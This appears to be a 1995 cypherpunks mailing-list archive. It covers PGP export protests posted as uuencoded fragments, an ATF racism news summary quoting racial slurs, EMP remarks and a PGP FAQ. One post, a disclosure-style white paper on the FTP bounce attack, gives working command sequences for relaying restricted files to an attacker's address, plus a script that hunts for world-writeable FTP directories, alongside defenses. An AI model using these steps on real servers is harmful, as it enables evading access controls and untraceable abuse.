>> Date: Tue, 11 Jul 1995 13:45:37 -0400 (EDT)
>> From: Ian Goddard <igoddard at CapAccess.org>
>> To: Libernet at Dartmouth.edu
>> 
>
>Header deleted for brevity
>
>> (please re-post)
>>                
>> 		 ATF SUMMER CAMP A HOTBED OF RACIAL HATE
>> 
>> The Washington Times (7/11/95) reports that despite a pending lawsuit 
>> against the ATF for racism, a summer camp for ATF agents called the 
>> "Good O' Boys Roundup" was still awash with racist sentiment. 
>> 
>> All who attended were welcomed at the entrance with many racist signs,
>> including one that read: 
>> 
>>                         "Nigger Check Point" 
>> 
>> The ATF camp maintains a whites only policy. All black ATF agents who
>> attempted to attend were turned away. White agents inside were reportedly
>> "real mad" about the attempts of black agents to attend. That the signs
>> were hung at the entrance indicates that all who attended had no problem
>> with the ATF's promotion of hard-core racism at the retreat. 
>> 
>> There were many T-shirts promoting racial hatred and murder on sale at the
>> ATF summer camp, such as one with a target superimposed over the face of
>> Martin Luther King Jr. It would seem that the ATF approves of the killing
>> of Dr. King. 
>> 
>> Also available at the ATF hate camp were "Nigger Hunting Licenses." 
>> If promoting the murder of black leaders is not bad enough, ATF agents
>> even promote random killings of blacks. 
>> 
>> In a vain attempt to distance the ATF from the promotion of racial hate
>> and murder at the ATF summer camp, ATF spokesman Earl Woodham claimed the
>> event has never been sanctioned by the ATF. However, for years the local 
>> ATF office has been the place to send in registration fees and to call 
>> for info about the ATF summer hate camp. The agents at this office declined
>> to say if they ever attended one of the "round ups" over the years. 
>> 
>> One ATF official said "I am not surprised about the signs or other
activities 
>> [at the camp]."  A former law enforcement officer who has attended the 
>> camp this year and in the past said, "The roundup has been a place for law
>> enforcement personnel to go and let their hair down." So it would seem that
>> hatred and a lust for murdering oppressed people reflects the true nature
>> of these "law enforcement" personnel. "Jack-booted thugs" is soft-balling it.
>> 
>> The pending lawsuit launched by 15 plaintiffs charges that KKK information
>> and "Nigger Hunting Licenses" have been displayed in many ATF offices. The
>> suit also claims widespread racial slurs and harassment by ATF personnel.
>> 
>> All information presented here is derived from The Washington Times
>> (7/11/95) front page article "Racist ways die hard at lawmen's retreat."
>> 
>> PLEASE RE-POST FAR AND WIDE
>> 
>> -- Ian Goddard <igoddard at cap.gwu.edu>
>> 
>> 
>
>
>
>






From adwestro at ouray.cudenver.edu  Tue Jul 11 20:16:51 1995
From: adwestro at ouray.cudenver.edu (Alan Westrope)
Date: Tue, 11 Jul 95 20:16:51 PDT
Subject: Denver area meeting, Saturday, 7/15, 2 pm
Message-ID: <VkzAwkkAsW0J084yn@ouray.cudenver.edu>


Once again, we'll congregate in the food court at the Tivoli,
adjacent to the Auraria campus, and possibly wander elsewhere.
We'll probably get updates on the David Triska and New Order
prosecutions, which have interesting 1st and 4th Amendment
ramifications, but there's no specific agenda.  Send email for
directions, etc.

Oh yeah, this goes out to "Louie da Misnamed" Freeh and the
Overseers of Freehdom, for their unceasing vigilance regarding
the transnational dissemination of Politically Incorrect Bits:

------------------ PGP.ZIP Part [006/713] -------------------
MPTGLPBHDHSW<(,<O,D$XB'2TA`HQ4D'H at R#<)[Z3*D$P80%N*8D1:Q6"T`\J
M/*/<G_$-/L9&%#L)P at HD82`ZHPG4$%#L*`A7D8M#F(/>"($GRAT$8246(Q:3
M$0`]G'"*AMF#]4C$1,S5"$(O!.%!+4$XAV/8@*7PAP>>J`6A$&>Q%W/1#,Z0
-------------------------------------------------------------

Alan Westrope                  <awestrop at nyx10.cs.du.edu>
__________/|-,                 <adwestro at ouray.cudenver.edu>
   (_)    \|-'                  2.6.2 public key: finger / servers
PGP 0xB8359639:  D6 89 74 03 77 C8 2D 43   7C CA 6D 57 29 25 69 23





From adam at bwh.harvard.edu  Tue Jul 11 20:29:18 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Tue, 11 Jul 95 20:29:18 PDT
Subject: Don't trust the net too much
In-Reply-To: <Pine.3.89.9507102023.H1184-0100000@khijol>
Message-ID: <199507120328.XAA02985@bwh.harvard.edu>



| > hundered dollars worth of transmitter parts, you can cause transient
| > failures with EMF pulse weapons, and for a bit more, you can fry all
| > the electronics, then drive away before they have any idea that their

| worth of parts.  Could you be more specific?

| > 	Go read Winn Schwartaus book "Information Warfare"  Then go
| > read Sun Tzu.
| 
| I have.  I agree, killing people is dumb, but try telling that to your 

	More specifically, few items sensitive electronic items are
hardened against electromagnetic pulses.  Ever see a speaker interfere
with your TV set?  Build a big enough speaker, and you can screw with
your computers memory.  (Of course, if you just use an electromagnet,
and not bother to build a speaker around it, you'll be much more
energy efficient. :) A big enough pulse can confuse just about any
hardware; bigger pulses still can destroy it.  Directed (or
undirected) pulses are easy to produce with the right amps.

	Again, check out Schwartau; your local library probably has
him.

Adam


-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf

------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From stewarts at ix.netcom.com  Tue Jul 11 20:39:13 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 11 Jul 95 20:39:13 PDT
Subject: A more sophisticated form of moderation.
Message-ID: <199507120337.UAA03191@ix4.ix.netcom.com>


At 01:45 PM 7/11/95 -0500, Michael James Gebis wrote:
>Specifically, I was thinking along the lines of a newsgroup where only
>selected individuals are able to post, but anybody who wants to can read
>the group.  However, the "selected individuals" could fall into several
>categories.

Not hard to implement things like this.  With the current non-cryptoized
moderation system, anybody can post to a moderated group by putting an
"Approved:" header line on their article.  And articles can be cancelled by
anyone who wants to forge an cancel, so articles with forged approvals can
be cancelmoosed away if people want.  You could set up a cancelbot that trashes
any article that doesn't have the magic words from the FAQ
        Approved: Squeamish Ossifrage
in the header, or doesn't have the right digital signature in the approvals,
where you've only given teh keys to the Moderation Cabal.

Or, for a system where mail has to go to a moderator first, similar to the
current mail-to-moderator posting method, you could set up a mail-pool for
the moderator's address, that sends each article out to 1..N of the moderators
(e.g. to whoever's on duty today, or everybody, or a random k of the
moderators for
load-sharing), who could then post them.

If you want a mailing-list approach, they're easier - just send your mailing
list
through procmail on the mailhost, and set it up to accept/reject/etc. whoever
your list policy wants.

If somebody comes out with D News, the crypto-cancel-based system,
it can use a digital signature system like RIPEM-SIG (which is exportable)
or some equivalent we can build out of PGP after the PGP 3.0 toolkit
becomes available.

#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From liberty at gate.net  Tue Jul 11 21:05:15 1995
From: liberty at gate.net (Jim Ray)
Date: Tue, 11 Jul 95 21:05:15 PDT
Subject: RACIST MILITIA: ATF
Message-ID: <199507120402.AAA11172@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

- -----BEGIN PGP SIGNED MESSAGE-----

I'm sure that this will be widely covered in the media.

_NOT_!

[Prediction: *Gentle* wrist slaps, *nobody* fired, promotions.]

Also, are there any C-punks in south Florida right now (besides me)?
If so, please respond by private e-mail. Thanks.

Regards,
JMR


- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMANHyG1lp8bpvW01AQFUBgP/cNxu8ead5MBGtggEwR/80a0DmA1fUgmy
X2xJpXCu7NUGT2rPZR9jni1guBOVHKypC6ZsaW3jDpaENX/l/2YxrE6nakVKR9qm
ae46QZC23Lm155ieOOBT8V50MglkWuYhgDf9+w/JxmS11R26pYNezgzuqNsLCGdg
6hq7WK6+t8c=
=S2pc
- -----END PGP SIGNATURE-----

- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMANJJioZzwIn1bdtAQE53QGAoOMNWiua7qQp7OD5g8Ok8WsX4EnPtjL3
jU6ONKYHJrhBnNAMPn7z67B/NeGevq5Q
=/U9Z
-----END PGP SIGNATURE-----





From alano at teleport.com  Tue Jul 11 22:05:20 1995
From: alano at teleport.com (Alan Olsen)
Date: Tue, 11 Jul 95 22:05:20 PDT
Subject: PGP Anti- ITAR sig
Message-ID: <199507120505.WAA26898@desiree.teleport.com>



>This is 1/713 of PGP262i DOS Executable Zipfile UUE'd

Collect the entire set!

|     "Ignorance is no excuse for the law."       | alano at teleport.com   |
|"Would you rather be tortured by the government  | Disclaimer:          |
|forces or the people's liberation army?" -mklprc | Ignore the man       |
|   -- PGP 2.6.2 key available on request --      |  behind the keyboard.|
|  Free Tibet! (With two proofs of purchace)      |       <fnord>        |






From NMundy5276 at aol.com  Tue Jul 11 22:57:59 1995
From: NMundy5276 at aol.com (NMundy5276 at aol.com)
Date: Tue, 11 Jul 95 22:57:59 PDT
Subject: Down with ITAR - Have YOU exported PGP today? (fwd)
Message-ID: <950712015748_30934874@aol.com>


-----BEGIN PGP SIGNED MESSAGE-----

      OK! I've got mine, lets rock. Here's part 14. Who's got 15!



                                   PGP.ZIP Part [014/713]
-
------------------------------------------------------------------------------
--------------------------------------------------------
MD(<YF(IH^,(%3^L1/[['"@Q!#[3!8^*]B72\"SES5XK>?HQM7&Q(.V,-WL8P
M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
-
------------------------------------------------------------------------------
--------------------------------------------------------
Get your chunk now, it's going fast!
For next chunk to export----->http://dcs.ex.ac.uk/~aba/export/
____________________________________________________________________________
____________________________________________________________________________
#!/usr/local/bin/perl -s-- -export-a-crypto-system-sig -RSA-in-3-lines-PERL  
($k,$n)=@ARGV;$m=unpack(H.$w,$m."\0"x$w),$_=`echo "16do$w 2+4Oi0$d*-^1[d2%
Sa2/d0<X+d*La1=z\U$n%0]SX$k"[$m*]\EszlXx++p|dc`,s/^.|\W//g,print pack('H*'
,$_)while read(STDIN,$m,($w=2*$d-1+length($n||die"$0 [-d] k n\n")&~1)/2)
10 let nsa=cluless \ gosub 10 \ delete-statist-gov.nonsense-nsa-batf-ect..!
____________________________________________________________________________
____________________________________________________________________________
nmundy5276 at aol.com---Nicholas Mundy +       Civilized by choice.
finger or e-mail for public key              +        Anarchist by nature.
PGP encrypted mail prefered       + Additude subject to change without
notice!
____________________________________________________________________________
____________________________________________________________________________


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMANiyhz5+ljeFhgRAQGGrAf/WK1kEY45FwtWXLbFnb2yUrkEHNDcE97N
VjAtp0WRwdG0FD1KOnKG52cvD/RXMppkfkLwf/S29ZVE+U37DYfZy2CM7UMyckuk
K0uvyaJX7EqkYsB3SbNv3ZjYd53pO7xyWOSwMLjy/HGfTDMk2A/HkSSGpJP4G7rU
m8JgT/GrbS+sETU8F4dL9GvCIbHTncKypL898kofrHnJUAYESR+IEQz3Tl8iF+Rf
87JoqBPgCrnBBXkv7hEvTQSWnGJY/6u4Ym/3/sRRgs+42eKYtDY3GztAoY7oXMpk
pEqgJCSMaTfSvln3vm8ju3jIWmFtdpHOrp3msVPT+AodIW18iZx+fQ==
=Er7K
-----END PGP SIGNATURE-----






From merriman at arn.net  Tue Jul 11 23:23:32 1995
From: merriman at arn.net (David K. Merriman)
Date: Tue, 11 Jul 95 23:23:32 PDT
Subject: Down with ITAR - Have YOU exported PGP today? (fwd)
Message-ID: <199507120629.BAA17204@arnet.arn.net>


Only slightly bummed owner of part 015  :-/

Dave Merriman

>                                   PGP.ZIP Part [014/713]
>-
>------------------------------------------------------------------------------
>--------------------------------------------------------
>MD(<YF(IH^,(%3^L1/[['"@Q!#[3!8^*]B72\"SES5XK>?HQM7&Q(.V,-WL8P
>M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
>MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
>-
>------------------------------------------------------------------------------


This is a test (3 UUE lines) of the unconstitutional ITAR - 1/713th
of the PGP executable. See below for getting YOUR chunk! 
------------------ PGP.ZIP Part [015/713] -------------------
M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/







From hobbit at avian.org  Wed Jul 12 00:13:42 1995
From: hobbit at avian.org (*Hobbit*)
Date: Wed, 12 Jul 95 00:13:42 PDT
Subject: The FTP Bounce Attack
Message-ID: <199507120620.CAA18176@narq.avian.org>


This discusses one of many possible uses of the "FTP server bounce attack".
The mechanism used is probably well-known, but to date interest in detailing
or fixing it seems low to nonexistent.  This particular example demonstrates
yet another way in which most electronically enforced "export restrictions" are
completely useless and trivial to bypass.  It is chosen in an effort to make
the reader sit up and notice that there are some really ill-conceived aspects
of the standard FTP protocol.

Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion
of some of these issues a couple of months ago which got me thinking more
deeply about them.

The motive
==========

You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve
cryptographic source code from crypto.com in the US.  The FTP server at
crypto.com is set up to allow your connection, but deny access to the crypto
sources because your source IP address is that of a non-US site [as near as
their FTP server can determine from the DNS, that is].  In any case, you
cannot directly retrieve what you want from crypto.com's server.

However, crypto.com will allow ufred.edu to download crypto sources because
ufred.edu is in the US too.  You happen to know that /incoming on ufred.edu
is a world-writeable directory that any anonymous user can drop files into and
read them back from.  Crypto.com's IP address is C.C.C.C.

The attack
==========

This assumes you have an FTP server that does passive mode.  Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:

	quote "pasv"
	quote "stor foobar"

Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.

Construct a file containing FTP server commands.  Let's call this file
"instrs".  It will look like this:

	user ftp
	pass -anonymous@
	cwd /export-restricted-crypto
	type i
	port F,F,F,F,X,X
	retr crypto.tar.Z
	quit
	^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
	^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
	...

F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection.  The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data.  The reason for this filler is explained later.

Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells ufred.edu's FTP server to connect to
crypto.com's FTP server using your file as the commands:

	put instrs
	quote "port C,C,C,C,0,21"
	quote "retr instrs"

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection.  If the connection to ufred.edu didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.

Discussion
==========

There are several variants of this.  Your PASV listener connection can be
opened on any machine that you have file write access to -- your own, another
connection to ufred.edu, or somewhere completely unrelated.  In fact, it does
not even have to be an FTP server -- any utility that will listen on a known
TCP port and read raw data from it into a file will do.  A passive-mode FTP
data connection is simply a convenient way to do this.

The extra nulls at the end of the command file are to fill up the TCP windows
on either end of the ufred -> crypto connection, and ensure that the command
connection stays open long enough for the whole session to be executed.
Otherwise, most FTP servers tend to abort all transfers and command processing
when the control connection closes prematurely.  The size of the data is enough
to fill both the receive and transmit windows, which on some OSes are quite
large [on the order of 30K].  You can trim this down if you know what OSes
are on either end and the sum of their default TCP window sizes.  It is split
into lines of 250 characters to avoid overrunning command buffers on the target
server -- probably academic since you told the server to quit already.

If crypto.com disallows *any* FTP client connection from you at foreign.fr and
you need to see what files are where, you can always put "list -aR" in your
command file and get a directory listing of the entire tree via ufred.

You may have to retrieve your command file to the target's FTP server in ASCII
mode rather than binary mode.  Some FTP servers can deal with raw newlines, but
others may need command lines terminated by CRLF pairs.  Keep this in mind when
retrieving files to daemons other than FTP servers, as well.

Other possbilities
==================

Despite the fact that such third-party connections are one-way only, they
can be used for all kinds of things.  Similar methods can be used to post
virtually untraceable mail and news, hammer on servers at various sites, fill
up disks, try to hop firewalls, and generally be annoying and hard to track
down at the same time.  A little thought will bring realization of numerous
other scary possibilities.

Connections launched this way come from source port 20, which some sites allow
through their firewalls in an effort to deal with the "ftp-data" problem.  For
some purposes, this can be the next best thing to source-routed attacks, and is
likely to succeed where source routing fails against packet filters.  And it's
all made possible by the way the FTP protocol spec was written, allowing
control connections to come from anywhere and data connections to go anywhere.

Defenses
========

There will always be sites on the net with creaky old FTP servers and
writeable directories that allow this sort of traffic, so saying "fix all
the FTP servers" is the wrong answer.  But you can protect your own against
both being a third-party bouncepoint and having another one used against you.

The first obvious thing to do is allow an FTP server to only make data
connections to the same host that the control connection originated from.
This does not prevent the above attack, of course, since the PASV listener
could just as easily be on ufred.edu and thus meet that requirement, but
it does prevent *your* site from being a potential bouncepoint.  It also
breaks the concept of "proxy FTP", but hidden somewhere in this paragraph
is a very tiny violin.

The next obvious thing is to prohibit FTP control connections that come from
reserved ports, or at least port 20.  This prevents the above scenario as
stated.

Both of these things, plus the usual poop about blocking source-routed packets
and other avenues of spoofery, are necessary to prevent hacks of this sort.
And think about whether or not you really need an open "incoming" directory.

Only allowing passive-mode client data connections is another possibility,
but there are still too many FTP clients in use that aren't passive-aware.

"A loose consensus and running code"
====================================

There is some existing work addressing this available here at avian.org [and
has been for several months, I might add] in the "fixkits archive".  Several
mods to wu-ftpd-2.4 are presented, which includes code to prevent and log
attempts to use bogus PORT commands.  Recent security fixes from elsewhere are
also included, along with s/key support and various compile-time options to
beef up security for specific applications.

Stan Barber at academ.com is working on merging these and several other fixes
into a true updated wu-ftpd release.  There are a couple of other divergent
efforts going on.  Nowhere is it claimed that any of this work is complete yet,
but it is a start toward something I have had in mind for a while -- a
network-wide release of wu-ftpd-2.5, with contributions from around the net. 
The wu-ftpd server has become very popular, but is in sad need of yet another
security upgrade.  It would be nice to pull all the improvements together into
one coordinated place, and it looks like it will happen.  All of this still
won't help people who insist on running vendor-supplied servers, of course.

Sanity-checking the client connection's source port is not implemented
specifically in the FTP server fixes, but in modifications to Wietse's
tcp-wrappers package since this problem is more general.  A simple PORT option
is added that denies connections from configurable ranges of source ports at
the tcpd stage, before a called daemon is executed.

Some of this is pointed to by /src/fixkits/README in the anonymous FTP
area here.  Read this roadmap before grabbing other things.

Notes
=====

Adding the nulls at the end of the command file was the key to making this
work against a variety of daemons.  Simply sending the desired data would
usually fail due to the immediate close signaling the daemon to bail out.

If WUSTL has not given up entirely on the whole wu-ftpd project, they are
keeping very quiet about further work.  Bryan O'Connor appears to have many
other projects to attend to by now...

This is a trivial script to find world-writeable and ftp-owned directories and
files on a unix-based anonymous FTP server.  You'd be surprised how many of
those writeable "bouncepoints" pop out after a short run of something like
this.  You will have to later check that you can both PUT and GET files from
such places; some servers protect uploaded files against reading.  Many do not,
and then wonder why they are among this week's top ten warez sites...

#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
  BEGIN { idir = "/" ; dirp = 0 }
  /.:$/ { idir = $0 ; dirp = 1 ; }
  /^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
    if (dirp == 1) print idir
    dirp = 0
    print $0
  } '
rm xxx.$$

I suppose one could call this a white paper.  It is up for grabs at avian.org
in /random/ftp-attack as well as being posted in various relevant places.

_H*  950712





From mpj at netcom.com  Wed Jul 12 00:25:29 1995
From: mpj at netcom.com (Michael Paul Johnson)
Date: Wed, 12 Jul 95 00:25:29 PDT
Subject: Where to get the latest PGP
Message-ID: <Pine.SUN.3.91.950712002231.6230A-100000@netcom20>


-----BEGIN PGP SIGNED MESSAGE-----

WHERE TO GET THE PRETTY GOOD PRIVACY PROGRAM (PGP) FAQ 12 JULY 1995

(Long version)


WHAT IS THE LATEST VERSION OF PGP?
BUG
WHERE CAN I GET VIACRYPT PGP?
WHERE CAN I FTP PGP IN NORTH AMERICA?
WHERE IS PGP ON THE WORLD WIDE WEB?
WHERE IS PGP ON COMPUSERVE?
AOL
WHAT BULLETIN BOARD SYSTEMS CARRY PGP?
WHERE CAN I FTP PGP CLOSE TO ME?
HOW CAN I GET PGP BY EMAIL?
WHERE IS MACPGP?
WHERE IS VAX PGP?
WHERE CAN I GET MORE PGP INFORMATION?
WHAT ARE SOME GOOD PGP BOOKS?
WHERE CAN I GET PGP LANGUAGE MODULES?
IS PGP LEGAL?
WHAT IS PHILIP ZIMMERMANN'S LEGAL STATUS?
WHERE CAN I GET WINDOWS & DOS SHELLS FOR PGP?
WHERE CAN I GET THE MACPGP KIT?
WHERE IS THE PGP 3.0 API DRAFT?
WHAT OTHER FILE ENCRYPTION (DOS, MAC) TOOLS ARE THERE?
HOW DO I SECURELY DELETE FILES (DOS)?
WHAT DO I DO ABOUT THE PASS PHRASE IN MY WINDOWS SWAP FILE?
WHAT EVER HAPPENED TO PGPfone(tm)?
WHERE DO I GET NAUTILUS?
HOW DO I ENCRYPT MY DISK ON-THE-FLY?
WHERE IS PGP'S COMPETION?
HOW DO I PUBLISH MY PGP PUBLIC KEY?
WHICH FAQ IS THE OFFICIAL ONE?
CAN I COPY AND REDISTRIBUTE THIS FAQ?

For questions not covered here, please see the MAIN alt.security.pgp FAQ at
ftp://ftp.prairienet.org/pub/providers/pgp/pgpfaq.txt


WHAT IS THE LATEST VERSION OF PGP?


Platform(s)       Latest Version        Distribution File Names
__________________________________________________________________________
|                |                     |                                 |
|DOS, Unix,      | Viacrypt PGP 2.7.1  | disk sets                       |
|Mac, Windows,   |                     |                                 |
|or WinCIM/CSNav |                     |                                 |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|Hardware-based  | Viacrypt 2.7.1      | disk sets                       |
|PGP/Token       |                     |                                 |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|DOS, Unix, VAX, | MIT PGP 2.6.2       | pgp262.zip  (DOS + docs)        |
|others          |                     | pgp262s.zip (source)            |
|                |                     | pg262s.zip source on CompuServe |
|                |                     | pgp262s.tar.gz (source)         |
|                |                     | pgp262s.tar.Z (source)          |
|                |                     | pgp262dc.zip (documentation)    |
|                |                     | pg262d.zip (docs on CompuServe) |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|Macintosh       | MIT PGP 2.6.2       | MacPGP2.6.2-130v1.hqx           |
|                | Mac version 1.3.0   | m262pgp.hqx (same as above)     |
|                |                     | MacPGP2.6.2-130v1.source.asc    |
|                |                     | m262pgps.asc (same as above)    |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|Power Mac       | Zbigniew's "beta"   | Fatmacpgp262b131.sea.hqx        |
|                |                     | f262pgp.hqx (same as above)     |
|                |                     | Fatmacpgp262b131.src.hqx        |
|                |                     | f262pgps.hqx (same as above)    |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|Amiga           | PGP 2.6.2 Amiga 1.4 | pgp262-a14-000.lha              |
|                |                     | pgp262-a14-020.lha              |
|                |                     | pgp262-a14-src.lha              |
|                |                     | PGPAmi262is.lha (international) |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|Atari           | Atari MIT PGP 2.6.2 | pgp262st.zip                    |
|                | Atari International | pgp262ib.zip                    |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|OS/2            | MIT PGP 2.6.2       | pgp262-os2.zip                  |
|                |                     | on ftp.gibbon.com               |
|________________|_____________________|_________________________________|
|                |                     |                                 |
|Non-USA version | PGP 2.6.2i from     | pgp262i.zip                     |
|to avoid RSAREF | Stale Schumacher    | pgp262is.zip                    |
|license.        |                     | pgp262is.tar.gz                 |
|                |                     | pgp262i-os2.zip                 |
|                |                     | pgp262i-djgpp.zip               |
|                |                     |                                 |
|                | Canadian "mutant"   | MacPGP262ca124.exe.sea.hqx      |
|                | not for USA use     | MacPGP262ca124.src.sea.hqx      |
|________________|_____________________|_________________________________|



BUG
Digital signatures made with keys 2034-2048 bits in length may
be corrupt if made by any version of PGP released prior to May
1995.  To fix this in the source code, change the line in
function make_signature_certificate in crypto.c from

byte inbuf[MAX_BYTE_PRECISION], outbuf[MAX_BYTE_PRECISION];
to
byte inbuf[MAX_BYTE_PRECISION], outbuf[MAX_BYTE_PRECISION+2];


WHERE CAN I GET VIACRYPT PGP?

Viacrypt has versions of PGP complete with licenses for
commercial use of the RSA and IDEA encryption algorithms.
Viacrypt PGP comes in executable code only (no source code),
but it is based on (and just as secure as) the freeware PGP.
Viacrypt PGP for Windows is the only real Windows PGP (and even
it is partially a quickwin executable that looks like a DOS
port).  Still, it is much better from an interface standpoint
than all the others.

Please contact ViaCrypt for pricing (about $100 up), the latest
platforms, and availablity at 800-536-2664 8:30am to 5:00pm
MST, Monday - Friday.  They accept VISA, MasterCard, AMEX and
Discover credit cards.

If you have further questions, please ask:

Paul E. Uhlhorn
Director of Marketing, ViaCrypt Products
Mail:          9033 N. 24th Avenue
Suite 7
Phoenix AZ 85021-2847
Phone:         (602) 944-0773
Fax:           (602) 943-2601
Internet:      viacrypt at acm.org
Compuserve:    70304.41


WHERE CAN I FTP PGP IN NORTH AMERICA?

If you are in the USA or Canada, you can get PGP by following the
instructions in any of:

ftp://net-dist.mit.edu/pub/PGP/README
ftp://ftp.csn.net/mpj/README.MPJ
ftp://miyako.dorm.duke.edu/pub/GETTING_ACCESS
ftp://ftp.netcom.com/pub/mp/mpj/README.MPJ
ftp://ftp.netcom.com/pub/dd/ddt/crypto/READ_ME_FIRST!
ftp://ftp.netcom.com/pub/dd/ddt/crypto/pgp_ftp_instructions.txt
ftp://ftp.eff.org

Follow the instructions found in README.Dist that you get from one of:

ftp://ftp.eff.org/pub/Net_info/Tools/Crypto/README.Dist
gopher.eff.org, 1/Net_info/Tools/Crypto
gopher://gopher.eff.org/11/Net_info/Tools/Crypto
http://www.eff.org/pub/Net_info/Tools/Crypto/
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/pgp/
ftp://ftp.gibbon.com/pub/pgp/README.PGP
(OS/2 users see also /pub/gcp/gcppgp10.zip)
ftp://ftp.wimsey.bc.ca/pub/crypto/software/README


WHERE IS PGP ON THE WORLD WIDE WEB?

http://web.mit.edu/network/pgp-form.html
http://www.ifi.uio.no/~staalesc/PGP/home.html
http://rschp2.anu.edu.au:8080/crypt.html
http://www.eff.org/pub/Net_info/Tools/Crypto/
http://community.net/community/all/home/solano/sbaldwin
http://www.cco.caltech.edu/~rknop/amiga_pgp26.html
http://www.csua.berkeley.edu/cypherpunks/home.html
http://www.leo.org/archive/os2/crypt/
http://colossus.net/wepinsto/wshome.html


WHERE IS PGP ON COMPUSERVE?

GO NCSAFORUM.  Follow the instructions there to gain access to
Library 12: Export Controlled.

Compuserve file names are limited, so look for PGP262.ZIP,
PG262S.ZIP (source code), PGP262.GZ (Unix source code) and
PG262D.ZIP (documentation only).


AOL

Go to the AOL software library and search "PGP" or ftp from

ftp://ftp.csua.berkeley.edu/pub/cypherpunks/pgp.


WHAT BULLETIN BOARD SYSTEMS CARRY PGP?

MANY BBS carry PGP.  The following carry recent versions of PGP
and allow free downloads of PGP.

USA

303-343-4053 Hacker's Haven, Denver, CO Lots of crypto stuff here.
303-772-1062 Colorado Catacombs BBS, Longmont CO
8 data bits, 1 stop, no parity, up to 28,800 bps.
Use ANSI terminal emulation.
For free access: log in with your own name, answer the questions.
303-914-0031 The FreeMatrix ]I[
314-896-9309 The KATN BBS
317-791-9617 Computer Virus Research Center (CVRC) BBS, Indianapolis, IN
Login Name: PGP USER  Password: PGP
501-791-0124, 501-791-0125 The Ferret BBS, North Little Rock, AR
Login name: PGP USER  Password: PGP
508-668-4441 Emerald City, Walpole, MA
601-582-5748 CyberGold BBS
612-690-5556, !CyBERteCH SeCURitY BBS! Minneapolis MN, - write a letter
to the sysop requesting full access.
914-667-4567 Exec-Net, New York, NY
915-587-7888, Self-Governor Information Resource, El Paso, Texas

UK

01273-688888

GERMANY

+49-781-38807 MAUS BBS, Offenburg - angeschlossen an das MausNet
+49-521-68000 BIONIC-BBS Login: PGP


WHERE CAN I FTP PGP CLOSE TO ME?

AU

ftp://ftp.cc.adfa.oz.au/pub/security/pgp23/macpgp2.3.cpt.hqx
ftp://ftp.iinet.net.au:mirrors/pgp (Australia ONLY)
ftp://plaza.aarnet.edu.au/micros/mac/umich/misc/documentation/howtomacpgp2.7.txt

DE

ftp://ftp.informatik.tu-muenchen.de/pub/comp/os/os2/crypt
ftp://ftp.informatik.uni-hamburg.de/pub/virus/crypt/pgp
ftp://ftp.fu-berlin.de/mac/sys/init/MacPGP2.6uiV1.2en.cpt.hqx.gz
ftp://ftp.tu-clausthal.de/pub/atari/misc/pgp/pgp261b.lzh
ftp://ftp.uni-kl.de/pub/aminet/util/crypt
ftp://ftp.uni-paderborn.de/pub/aminet/util/crypt
ftp://ftp.westfalen.de/pd/Atari/Pgp  (Atari)
